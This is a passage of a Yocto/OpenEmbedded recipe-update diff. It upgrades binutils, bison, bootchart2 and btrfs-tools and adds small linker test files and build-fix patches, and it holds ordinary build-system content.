++++ b/ld/testsuite/ld-plugin/pr28138-3.c
+@@ -0,0 +1,6 @@
++extern int a2(void);
++int
++a3(void)
++{
++ return 1 + a2();
++}
+diff --git a/ld/testsuite/ld-plugin/pr28138-4.c b/ld/testsuite/ld-plugin/pr28138-4.c
+new file mode 100644
+index 00000000000..475701b2c5c
+--- /dev/null
++++ b/ld/testsuite/ld-plugin/pr28138-4.c
+@@ -0,0 +1,6 @@
++extern int a3(void);
++int
++a4(void)
++{
++ return 1 + a3();
++}
+diff --git a/ld/testsuite/ld-plugin/pr28138-5.c b/ld/testsuite/ld-plugin/pr28138-5.c
+new file mode 100644
+index 00000000000..e24f86c363e
+--- /dev/null
++++ b/ld/testsuite/ld-plugin/pr28138-5.c
+@@ -0,0 +1,6 @@
++extern int a4(void);
++int
++a5(void)
++{
++ return 1 + a4();
++}
+diff --git a/ld/testsuite/ld-plugin/pr28138-6.c b/ld/testsuite/ld-plugin/pr28138-6.c
+new file mode 100644
+index 00000000000..b5b938bdb21
+--- /dev/null
++++ b/ld/testsuite/ld-plugin/pr28138-6.c
+@@ -0,0 +1,6 @@
++extern int a5(void);
++int
++a6(void)
++{
++ return 1 + a5();
++}
+diff --git a/ld/testsuite/ld-plugin/pr28138-7.c b/ld/testsuite/ld-plugin/pr28138-7.c
+new file mode 100644
+index 00000000000..4ef75bf0f0c
+--- /dev/null
++++ b/ld/testsuite/ld-plugin/pr28138-7.c
+@@ -0,0 +1,6 @@
++extern int a6(void);
++int
++a7(void)
++{
++ return 1 + a6();
++}
+diff --git a/ld/testsuite/ld-plugin/pr28138.c b/ld/testsuite/ld-plugin/pr28138.c
+new file mode 100644
+index 00000000000..68252c9f382
+--- /dev/null
++++ b/ld/testsuite/ld-plugin/pr28138.c
+@@ -0,0 +1,20 @@
++#include <stdio.h>
++
++extern int a7(void);
++
++int
++a0(void)
++{
++ return 0;
++}
++
++int
++main()
++{
++ if (a7() == 7)
++ {
++ printf ("PASS\n");
++ return 0;
++ }
++ return 1;
++}
+--
+2.31.1
+
diff --git a/meta/recipes-devtools/binutils/binutils/0017-gas-improve-reproducibility-for-stabs-debugging-data.patch b/meta/recipes-devtools/binutils/binutils/0017-gas-improve-reproducibility-for-stabs-debugging-data.patch
deleted file mode 100644
index 42e0c1c32d..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0017-gas-improve-reproducibility-for-stabs-debugging-data.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From aa6586e80fc6fcd739aa959a71e4cf064cdef072 Mon Sep 17 00:00:00 2001
-From: Denys Zagorui <dzagorui@cisco.com>
-Date: Mon, 9 Nov 2020 15:39:10 +0000
-Subject: [PATCH] gas: improve reproducibility for stabs debugging data format
-
- * config/obj-elf (obj_elf_init_stab_section): Improve
- reproducibility for stabs debugging data format
-
-Upstream-Status: Backport [https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=0541201782c006c09d029d18a45c6e743cfea906]
----
- gas/config/obj-elf.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/gas/config/obj-elf.c b/gas/config/obj-elf.c
-index de22b5a1da..2025df8542 100644
---- a/gas/config/obj-elf.c
-+++ b/gas/config/obj-elf.c
-@@ -2374,12 +2374,13 @@ obj_elf_init_stab_section (segT seg)
- p = frag_more (12);
- /* Zero it out. */
- memset (p, 0, 12);
-- file = as_where (NULL);
-+ file = remap_debug_filename (as_where (NULL));
- stabstr_name = concat (segment_name (seg), "str", (char *) NULL);
- stroff = get_stab_string_offset (file, stabstr_name, TRUE);
- know (stroff == 1 || (stroff == 0 && file[0] == '\0'));
- md_number_to_chars (p, stroff, 4);
- seg_info (seg)->stabu.p = p;
-+ xfree ((char *) file);
- }
-
- #endif
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils_2.35.bb b/meta/recipes-devtools/binutils/binutils_2.35.bb
deleted file mode 100644
index 2e645e1ed8..0000000000
--- a/meta/recipes-devtools/binutils/binutils_2.35.bb
+++ /dev/null
@@ -1,65 +0,0 @@
-require binutils.inc
-require binutils-${PV}.inc
-
-DEPENDS += "flex bison zlib"
-
-EXTRA_OECONF += "--with-sysroot=/ \
- --enable-install-libbfd \
- --enable-install-libiberty \
- --enable-shared \
- --with-system-zlib \
- "
-
-EXTRA_OEMAKE_append_libc-musl = "\
- gt_cv_func_gnugettext1_libc=yes \
- gt_cv_func_gnugettext2_libc=yes \
- "
-EXTRA_OECONF_class-native = "--enable-targets=all \
- --enable-64-bit-bfd \
- --enable-install-libiberty \
- --enable-install-libbfd \
- --disable-gdb \
- --disable-gdbserver \
- --disable-libdecnumber \
- --disable-readline \
- --disable-sim \
- --disable-werror"
-
-# gcc9.0 end up mis-compiling libbfd.so with O2 which then crashes on target
-# So remove -O2 and use -Os as workaround
-SELECTED_OPTIMIZATION_remove_mipsarch = "-O2"
-SELECTED_OPTIMIZATION_append_mipsarch = " -Os"
-
-do_install_class-native () {
- autotools_do_install
-
- # Install the libiberty header
- install -d ${D}${includedir}
- install -m 644 ${S}/include/ansidecl.h ${D}${includedir}
- install -m 644 ${S}/include/libiberty.h ${D}${includedir}
-
- # We only want libiberty, libbfd and libopcodes
- rm -rf ${D}${bindir}
- rm -rf ${D}${prefix}/${TARGET_SYS}
- rm -rf ${D}${prefix}/lib/ldscripts
- rm -rf ${D}${prefix}/share/info
- rm -rf ${D}${prefix}/share/locale
- rm -rf ${D}${prefix}/share/man
- rmdir ${D}${prefix}/share || :
- rmdir ${D}/${libdir}/gcc-lib || :
- rmdir ${D}/${libdir}64/gcc-lib || :
- rmdir ${D}/${libdir} || :
- rmdir ${D}/${libdir}64 || :
-}
-
-# Split out libbfd-*.so so including perf doesn't include extra stuff
-PACKAGE_BEFORE_PN += "libbfd"
-FILES_libbfd = "${libdir}/libbfd-*.so.* ${libdir}/libbfd-*.so"
-
-SRC_URI_append_class-nativesdk = " file://0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch "
-
-USE_ALTERNATIVES_FOR_class-nativesdk = ""
-FILES_${PN}_append_class-nativesdk = " ${bindir}"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/binutils/binutils_2.37.bb b/meta/recipes-devtools/binutils/binutils_2.37.bb
new file mode 100644
index 0000000000..12a6fb5577
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils_2.37.bb
@@ -0,0 +1,69 @@
+require binutils.inc
+require binutils-${PV}.inc
+
+DEPENDS += "zlib"
+
+EXTRA_OECONF += "--with-sysroot=/ \
+ --enable-install-libbfd \
+ --enable-install-libiberty \
+ --enable-shared \
+ --with-system-zlib \
+ "
+
+EXTRA_OEMAKE:append:libc-musl = "\
+ gt_cv_func_gnugettext1_libc=yes \
+ gt_cv_func_gnugettext2_libc=yes \
+ "
+EXTRA_OECONF:class-native = "--enable-targets=all \
+ --enable-64-bit-bfd \
+ --enable-install-libiberty \
+ --enable-install-libbfd \
+ --disable-gdb \
+ --disable-gdbserver \
+ --disable-libdecnumber \
+ --disable-readline \
+ --disable-sim \
+ --disable-werror"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'debuginfod', d)}"
+PACKAGECONFIG[debuginfod] = "--with-debuginfod, --without-debuginfod, elfutils"
+
+do_install:class-native () {
+ autotools_do_install
+
+ # Install the libiberty header
+ install -d ${D}${includedir}
+ install -m 644 ${S}/include/ansidecl.h ${D}${includedir}
+ install -m 644 ${S}/include/libiberty.h ${D}${includedir}
+
+ # We only want libiberty, libbfd and libopcodes
+ rm -rf ${D}${bindir}
+ rm -rf ${D}${prefix}/${TARGET_SYS}
+ rm -rf ${D}${prefix}/lib/ldscripts
+ rm -rf ${D}${prefix}/share/info
+ rm -rf ${D}${prefix}/share/locale
+ rm -rf ${D}${prefix}/share/man
+ rmdir ${D}${prefix}/share || :
+ rmdir ${D}/${libdir}/gcc-lib || :
+ rmdir ${D}/${libdir}64/gcc-lib || :
+ rmdir ${D}/${libdir} || :
+ rmdir ${D}/${libdir}64 || :
+}
+
+# libctf races with libbfd
+PARALLEL_MAKEINST:class-target = ""
+PARALLEL_MAKEINST:class-nativesdk = ""
+
+# Split out libbfd-*.so and libopcodes-*.so so including perf doesn't include
+# extra stuff
+PACKAGE_BEFORE_PN += "libbfd libopcodes"
+FILES:libbfd = "${libdir}/libbfd-*.so.* ${libdir}/libbfd-*.so"
+FILES:libopcodes = "${libdir}/libopcodes-*.so.* ${libdir}/libopcodes-*.so"
+
+SRC_URI:append:class-nativesdk = " file://0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch "
+
+USE_ALTERNATIVES_FOR:class-nativesdk = ""
+FILES:${PN}:append:class-nativesdk = " ${bindir}"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-devtools/bison/bison_3.7.3.bb b/meta/recipes-devtools/bison/bison_3.7.3.bb
deleted file mode 100644
index 74532caec3..0000000000
--- a/meta/recipes-devtools/bison/bison_3.7.3.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "GNU Project parser generator (yacc replacement)"
-DESCRIPTION = "Bison is a general-purpose parser generator that converts an annotated context-free grammar into \
-an LALR(1) or GLR parser for that grammar. Bison is upward compatible with Yacc: all properly-written Yacc \
-grammars ought to work with Bison with no change. Anyone familiar with Yacc should be able to use Bison with \
-little trouble."
-HOMEPAGE = "http://www.gnu.org/software/bison/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-SECTION = "devel"
-DEPENDS = "bison-native flex-native"
-
-SRC_URI = "${GNU_MIRROR}/bison/bison-${PV}.tar.xz \
- file://add-with-bisonlocaledir.patch \
- "
-SRC_URI[sha256sum] = "88d9e36856b004c0887a12ba00ea3c47db388519629483dd8c3fce9694d4da6f"
-
-# No point in hardcoding path to m4, just use PATH
-EXTRA_OECONF += "M4=m4"
-
-inherit autotools gettext texinfo
-
-# The automatic m4 path detection gets confused, so force the right value
-acpaths = "-I ./m4"
-
-do_compile_prepend() {
- for i in mfcalc calc++ rpcalc; do mkdir -p ${B}/examples/$i; done
-}
-
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/bison \
- BISON_PKGDATADIR=${STAGING_DATADIR_NATIVE}/bison
-}
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/bison \
- BISON_PKGDATADIR=${datadir}/bison
-}
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/bison/bison_3.8.2.bb b/meta/recipes-devtools/bison/bison_3.8.2.bb
new file mode 100644
index 0000000000..58395c3dce
--- /dev/null
+++ b/meta/recipes-devtools/bison/bison_3.8.2.bb
@@ -0,0 +1,54 @@
+SUMMARY = "GNU Project parser generator (yacc replacement)"
+DESCRIPTION = "Bison is a general-purpose parser generator that converts an annotated context-free grammar into \
+an LALR(1) or GLR parser for that grammar. Bison is upward compatible with Yacc: all properly-written Yacc \
+grammars ought to work with Bison with no change. Anyone familiar with Yacc should be able to use Bison with \
+little trouble."
+HOMEPAGE = "http://www.gnu.org/software/bison/"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+SECTION = "devel"
+DEPENDS = "bison-native flex-native"
+
+SRC_URI = "${GNU_MIRROR}/bison/bison-${PV}.tar.xz \
+ file://add-with-bisonlocaledir.patch \
+ "
+SRC_URI[sha256sum] = "9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2"
+
+inherit autotools gettext texinfo
+
+# No point in hardcoding path to m4, just use PATH
+CACHED_CONFIGUREVARS = "ac_cv_path_M4=m4"
+
+PACKAGECONFIG ??= "readline ${@ 'textstyle' if d.getVar('USE_NLS') == 'yes' else ''}"
+PACKAGECONFIG:class-native ??= ""
+
+# Make readline and textstyle optional. There are recipie for these, but leave them
+# disabled for the native recipe. This prevents host contamination of the native tool.
+PACKAGECONFIG[readline] = "--with-libreadline-prefix,--without-libreadline-prefix,readline"
+PACKAGECONFIG[textstyle] = "--with-libtextstyle-prefix,--without-libtextstyle-prefix,gettext"
+
+# Include the cached configure variables, configure is really good at finding
+# libreadline, even if we don't want it.
+CACHED_CONFIGUREVARS += "${@bb.utils.contains('PACKAGECONFIG', 'readline', '', ' \
+ ac_cv_header_readline_history_h=no \
+ ac_cv_header_readline_readline_h=no \
+ gl_cv_lib_readline=no', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'textstyle', '', ' \
+ ac_cv_libtextstyle=no', d)}"
+
+# The automatic m4 path detection gets confused, so force the right value
+acpaths = "-I ./m4"
+
+do_compile:prepend() {
+ for i in mfcalc calc++ rpcalc; do mkdir -p ${B}/examples/$i; done
+}
+
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/bison \
+ BISON_PKGDATADIR=${STAGING_DATADIR_NATIVE}/bison
+}
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/bison \
+ BISON_PKGDATADIR=${datadir}/bison
+}
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch
index 8ee6723df1..88597cf3a9 100644
--- a/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch
+++ b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch
@@ -3,7 +3,7 @@ From: Changqing Li <changqing.li@windriver.com>
Date: Thu, 5 Sep 2019 18:37:31 +0800
Subject: [PATCH] bootchart2: support usrmerge
-Upstream-Status: Inappropriate[oe-specific]
+Upstream-Status: Inappropriate [oe-specific]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
---
diff --git a/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch
new file mode 100644
index 0000000000..3cb8a3c2a2
--- /dev/null
+++ b/meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch
@@ -0,0 +1,68 @@
+From 988ca784d4840c87509e770a21d5d22105af8668 Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Fri, 5 Nov 2021 11:18:07 +0800
+Subject: [PATCH] bootchartd.in: make sure only one bootchartd process
+
+When boot with "init=/sbin/bootchartd" as below:
+ # runqemu qemux86 bootparams="init=/sbin/bootchartd"
+
+There are two bootchartd process after boot [1].
+ # ps -ef | grep bootchart
+root 101 1 0 03:27 ? 00:00:00 /bin/sh /sbin/bootchartd
+root 103 101 8 03:27 ? 00:00:02 /lib64/bootchart/bootchart-collector 50
+root 106 1 0 03:27 ? 00:00:00 /bin/sh /sbin/bootchartd
+root 792 106 0 03:27 ? 00:00:00 /lib64/bootchart/bootchart-collector --usleep 1000000
+root 794 725 0 03:27 ttyS0 00:00:00 grep bootchart
+
+ # /sbin/bootchartd stop
+[bootchart] bootchart-collector started as pid 596 with 2 args:
+[bootchart] '--dump'
+[bootchart] '/tmp/bootchart.3lXpVDAq3v'
+[bootchart] Extracting profile data from pid 204
+[bootchart] map 0xbed9a000 -> 0xbedbb000 size: 132k from 'bed9a000' 'bedbb000'
+[bootchart] read 135168 bytes of 135168
+[bootchart] reading 150 chunks (of 150) ...
+[bootchart] wrote 18760 kbB
+[bootchart] bootchart-collector pid: 596 unmounted proc / clean exit
+
+But there still one process exist after the above stop command finish.
+ # ps -ef | grep bootchartd
+root 202 1 0 09:09 ? 00:00:00 /bin/sh /sbin/bootchartd
+root 629 516 0 09:10 ? 00:00:00 grep bootchartd
+
+Remove the wait_boot which used to wait the boot process to finish to
+make sure only one bootchartd process and meanwhile we don't need the
+wait_boot logic because we either use "/sbin/bootchartd stop" to stop
+the bootchartd manually or install package bootchartd-stop-initscript
+altogether with bootchart2 to stop bootchartd automatically after boot.
+
+After patch:
+ # ps -ef | grep bootchart
+ root 101 1 0 03:36 ? 00:00:00 /bin/sh /sbin/bootchartd
+ root 103 101 6 03:36 ? 00:00:04 /lib64/bootchart/bootchart-collector 50
+ root 596 592 0 03:37 ttyS0 00:00:00 grep bootchart
+
+[1] https://github.com/xrmx/bootchart/issues/94
+
+Upstream-Status: Submitted [https://github.com/xrmx/bootchart/pull/95]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ bootchartd.in | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/bootchartd.in b/bootchartd.in
+index 7979ef9..f0e466d 100755
+--- a/bootchartd.in
++++ b/bootchartd.in
+@@ -183,7 +183,6 @@ if [ $$ -eq 1 ]; then
+ else # running inside the main system
+ echo "bootchart: no initrd used; starting"
+ start &
+- wait_boot &
+ # wait a little, until the collector is going, before allowing
+ # the rest of the system to charge ahead, so we catch it
+ $USLEEP 250000
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb b/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb
index 6571c19938..87f7631ddc 100644
--- a/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb
+++ b/meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb
@@ -90,25 +90,30 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=44ac4678311254db62edf8fd39cb8124"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+(\.\d+)*)"
-SRC_URI = "git://github.com/xrmx/bootchart.git \
+SRC_URI = "git://github.com/xrmx/bootchart.git;branch=master;protocol=https \
file://bootchartd_stop.sh \
file://0001-collector-Allocate-space-on-heap-for-chunks.patch \
file://0001-bootchart2-support-usrmerge.patch \
+ file://0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch \
"
S = "${WORKDIR}/git"
SRCREV = "868a2afab9da34f32c007d773b77253c93104636"
+# remove at next version upgrade or when output changes
+PR = "r1"
+HASHEQUIV_HASH_VERSION .= ".1"
+
inherit systemd update-rc.d python3native update-alternatives
-ALTERNATIVE_${PN} = "bootchartd"
+ALTERNATIVE:${PN} = "bootchartd"
ALTERNATIVE_LINK_NAME[bootchartd] = "${base_sbindir}/bootchartd"
ALTERNATIVE_PRIORITY = "100"
# The only reason to build bootchart2-native is for a native pybootchartgui.
BBCLASSEXTEND = "native"
-SYSTEMD_SERVICE_${PN} = "bootchart2.service bootchart2-done.service bootchart2-done.timer"
+SYSTEMD_SERVICE:${PN} = "bootchart2.service bootchart2-done.service bootchart2-done.timer"
UPDATERCPN = "bootchartd-stop-initscript"
INITSCRIPT_NAME = "bootchartd_stop.sh"
@@ -116,7 +121,7 @@ INITSCRIPT_PARAMS = "start 99 2 3 4 5 ."
EXTRA_OEMAKE = 'BASE_SBINDIR="${base_sbindir}"'
-do_compile_prepend () {
+do_compile:prepend () {
export PY_LIBDIR="${libdir}/${PYTHON_DIR}"
export BINDIR="${bindir}"
export LIBDIR="${base_libdir}"
@@ -129,9 +134,9 @@ do_install () {
export DESTDIR="${D}"
export LIBDIR="${base_libdir}"
export PKGLIBDIR="${base_libdir}/bootchart"
- export SYSTEMD_UNIT_DIR="${systemd_unitdir}/system"
+ export SYSTEMD_UNIT_DIR="${systemd_system_unitdir}"
- oe_runmake install
+ oe_runmake install NO_PYTHON_COMPILE=1
install -d ${D}${sysconfdir}/init.d
install -m 0755 ${WORKDIR}/bootchartd_stop.sh ${D}${sysconfdir}/init.d
@@ -139,22 +144,25 @@ do_install () {
# Use python 3 instead of python 2
sed -i -e '1s,#!.*python.*,#!${USRBINPATH}/env python3,' ${D}${bindir}/pybootchartgui
+
+ # The timestamps embedded in compressed man pages is not reproducible
+ gzip -d ${D}${mandir}/man1/*.gz
}
PACKAGES =+ "pybootchartgui"
-FILES_pybootchartgui += "${PYTHON_SITEPACKAGES_DIR}/pybootchartgui ${bindir}/pybootchartgui"
-RDEPENDS_pybootchartgui = "python3-pycairo python3-compression python3-image python3-shell python3-compression python3-codecs"
-RDEPENDS_${PN}_class-target += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'sysvinit-pidof', 'procps', d)}"
-RDEPENDS_${PN}_class-target += "lsb-release"
-DEPENDS_append_class-native = " python3-pycairo-native"
+FILES:pybootchartgui += "${PYTHON_SITEPACKAGES_DIR}/pybootchartgui ${bindir}/pybootchartgui"
+RDEPENDS:pybootchartgui = "python3-pycairo python3-compression python3-image python3-shell python3-compression python3-codecs"
+RDEPENDS:${PN}:class-target += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'sysvinit-pidof', 'procps', d)}"
+RDEPENDS:${PN}:class-target += "lsb-release"
+DEPENDS:append:class-native = " python3-pycairo-native"
PACKAGES =+ "bootchartd-stop-initscript"
-FILES_bootchartd-stop-initscript += "${sysconfdir}/init.d ${sysconfdir}/rc*.d"
-RDEPENDS_bootchartd-stop-initscript = "${PN}"
+FILES:bootchartd-stop-initscript += "${sysconfdir}/init.d ${sysconfdir}/rc*.d"
+RDEPENDS:bootchartd-stop-initscript = "${PN}"
-FILES_${PN} += "${base_libdir}/bootchart/bootchart-collector"
-FILES_${PN} += "${base_libdir}/bootchart/tmpfs"
-FILES_${PN} += "${libdir}"
-FILES_${PN}-doc += "${datadir}/docs"
+FILES:${PN} += "${base_libdir}/bootchart/bootchart-collector"
+FILES:${PN} += "${base_libdir}/bootchart/tmpfs"
+FILES:${PN} += "${libdir}"
+FILES:${PN}-doc += "${datadir}/docs"
-RCONFLICTS_${PN} = "bootchart"
+RCONFLICTS:${PN} = "bootchart"
diff --git a/meta/recipes-devtools/btrfs-tools/btrfs-tools/0001-btrfs-tools-include-linux-const.h-to-fix-build-with-.patch b/meta/recipes-devtools/btrfs-tools/btrfs-tools/0001-btrfs-tools-include-linux-const.h-to-fix-build-with-.patch
new file mode 100644
index 0000000000..be942388a5
--- /dev/null
+++ b/meta/recipes-devtools/btrfs-tools/btrfs-tools/0001-btrfs-tools-include-linux-const.h-to-fix-build-with-.patch
@@ -0,0 +1,42 @@
+From 3d19b0fb882c5e195362a9f0909c474e60070ca0 Mon Sep 17 00:00:00 2001
+From: Bruce Ashfield <bruce.ashfield@gmail.com>
+Date: Fri, 18 Jun 2021 11:10:36 -0400
+Subject: [PATCH] btrfs-progs: include linux/const.h to fix build with 5.12+
+ headers
+
+btrfs-tools compile fails with mips, musl and 5.12+ headers.
+
+The definition of __ALIGN_KERNEL has moved in 5.12+ kernels, so we
+add an explicit include of const.h to pickup the macro:
+
+ | make: *** [Makefile:595: mkfs.btrfs] Error 1
+ | make: *** Waiting for unfinished jobs....
+ | libbtrfs.a(volumes.o): in function `dev_extent_search_start':
+ | /usr/src/debug/btrfs-tools/5.12.1-r0/git/kernel-shared/volumes.c:464: undefined reference to `__ALIGN_KERNEL'
+ | collect2: error: ld returned 1 exit status
+
+This is safe for older kernel's as well, since the header still
+exists, and is valid to include.
+
+Upstream-Status: Inappropriate [mips64 + musl + libc-headers]
+
+Signed-off-by: Bruce Ashfield <bruce.ashfield@gmail.com>
+---
+ kerncompat.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/kerncompat.h b/kerncompat.h
+index df167fe6..254235bd 100644
+--- a/kerncompat.h
++++ b/kerncompat.h
+@@ -30,6 +30,7 @@
+ #include <linux/types.h>
+ #include <linux/kernel.h>
+ #include <stdint.h>
++#include <linux/const.h>
+
+ #include <features.h>
+
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.15.1.bb b/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.15.1.bb
new file mode 100644
index 0000000000..9f3c0e9abb
--- /dev/null
+++ b/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.15.1.bb
@@ -0,0 +1,72 @@
+SUMMARY = "Checksumming Copy on Write Filesystem utilities"
+DESCRIPTION = "Btrfs is a new copy on write filesystem for Linux aimed at \
+implementing advanced features while focusing on fault tolerance, repair and \
+easy administration. \
+This package contains utilities (mkfs, fsck, btrfsctl) used to work with \
+btrfs and an utility (btrfs-convert) to make a btrfs filesystem from an ext3."
+
+HOMEPAGE = "https://btrfs.wiki.kernel.org"
+
+LICENSE = "GPLv2 & LGPLv2.1+"
+LIC_FILES_CHKSUM = " \
+ file://COPYING;md5=fcb02dc552a041dee27e4b85c7396067 \
+ file://libbtrfsutil/COPYING;md5=4fbd65380cdd255951079008b364516c \
+"
+SECTION = "base"
+DEPENDS = "lzo util-linux zlib"
+
+SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/kdave/btrfs-progs.git;branch=master \
+ file://0001-Add-a-possibility-to-specify-where-python-modules-ar.patch \
+ file://0001-btrfs-tools-include-linux-const.h-to-fix-build-with-.patch \
+ "
+SRCREV = "c0ad9bde429196db7e8710ea1abfab7a2bca2e43"
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= " \
+ programs \
+ convert \
+ python \
+ crypto-builtin \
+"
+PACKAGECONFIG[manpages] = "--enable-documentation, --disable-documentation, asciidoc-native xmlto-native"
+PACKAGECONFIG[programs] = "--enable-programs,--disable-programs"
+PACKAGECONFIG[convert] = "--enable-convert --with-convert=ext2,--disable-convert --without-convert,e2fsprogs"
+PACKAGECONFIG[zoned] = "--enable-zoned,--disable-zoned"
+PACKAGECONFIG[python] = "--enable-python,--disable-python,python3-setuptools-native"
+PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
+PACKAGECONFIG[udev] = "--enable-libudev,--disable-libudev,udev"
+
+# Pick only one crypto provider
+PACKAGECONFIG[crypto-builtin] = "--with-crypto=builtin"
+PACKAGECONFIG[crypto-libgcrypt] = "--with-crypto=libgcrypt,,libgcrypt"
+PACKAGECONFIG[crypto-libsodium] = "--with-crypto=libsodium,,libsodium"
+PACKAGECONFIG[crypto-libkcapi] = "--with-crypto=libkcapi,,libkcapi"
+
+inherit autotools-brokensep pkgconfig manpages
+inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'distutils3-base', '', d)}
+
+CLEANBROKEN = "1"
+
+EXTRA_OECONF = "--enable-largefile"
+EXTRA_OECONF:append:libc-musl = " --disable-backtrace "
+EXTRA_PYTHON_CFLAGS = "${DEBUG_PREFIX_MAP}"
+EXTRA_PYTHON_CFLAGS:class-native = ""
+EXTRA_PYTHON_LDFLAGS = "${LDFLAGS}"
+EXTRA_OEMAKE = "V=1 'EXTRA_PYTHON_CFLAGS=${EXTRA_PYTHON_CFLAGS}' 'EXTRA_PYTHON_LDFLAGS=${EXTRA_PYTHON_LDFLAGS}'"
+
+do_configure:prepend() {
+ # Upstream doesn't ship this and autoreconf won't install it as automake isn't used.
+ mkdir -p ${S}/config
+ cp -f $(automake --print-libdir)/install-sh ${S}/config/
+}
+
+
+do_install:append() {
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
+ oe_runmake 'DESTDIR=${D}' 'PYTHON_SITEPACKAGES_DIR=${PYTHON_SITEPACKAGES_DIR}' install_python
+ fi
+}
+
+RDEPENDS:${PN} = "libgcc"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.9.bb b/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.9.bb
deleted file mode 100644
index 15a958e624..0000000000
--- a/meta/recipes-devtools/btrfs-tools/btrfs-tools_5.9.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "Checksumming Copy on Write Filesystem utilities"
-DESCRIPTION = "Btrfs is a new copy on write filesystem for Linux aimed at \
-implementing advanced features while focusing on fault tolerance, repair and \
-easy administration. \
-This package contains utilities (mkfs, fsck, btrfsctl) used to work with \
-btrfs and an utility (btrfs-convert) to make a btrfs filesystem from an ext3."
-
-HOMEPAGE = "https://btrfs.wiki.kernel.org"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fcb02dc552a041dee27e4b85c7396067"
-SECTION = "base"
-DEPENDS = "util-linux attr e2fsprogs lzo acl"
-DEPENDS_append_class-target = " udev"
-RDEPENDS_${PN} = "libgcc"
-
-SRCREV = "2e1fa482300449042ff6612bb51027f3f5765270"
-SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/kdave/btrfs-progs.git \
- file://0001-Add-a-possibility-to-specify-where-python-modules-ar.patch \
- "
-
-PACKAGECONFIG ??= "python"
-PACKAGECONFIG[manpages] = "--enable-documentation, --disable-documentation, asciidoc-native xmlto-native"
-PACKAGECONFIG[python] = "--enable-python,--disable-python,python3-setuptools-native"
-PACKAGECONFIG[zstd] = "--enable-zstd,--disable-zstd,zstd"
-
-inherit autotools-brokensep pkgconfig manpages
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'distutils3-base', '', d)}
-
-CLEANBROKEN = "1"
-
-EXTRA_OECONF_append_libc-musl = " --disable-backtrace "
-EXTRA_PYTHON_CFLAGS = "${DEBUG_PREFIX_MAP}"
-EXTRA_PYTHON_CFLAGS_class-native = ""
-EXTRA_PYTHON_LDFLAGS = "${LDFLAGS}"
-EXTRA_OEMAKE = "V=1 'EXTRA_PYTHON_CFLAGS=${EXTRA_PYTHON_CFLAGS}' 'EXTRA_PYTHON_LDFLAGS=${EXTRA_PYTHON_LDFLAGS}'"
-
-do_configure_prepend() {
- # Upstream doesn't ship this and autoreconf won't install it as automake isn't used.
- mkdir -p ${S}/config
- cp -f $(automake --print-libdir)/install-sh ${S}/config/
-}
-
-S = "${WORKDIR}/git"
-
-do_install_append() {
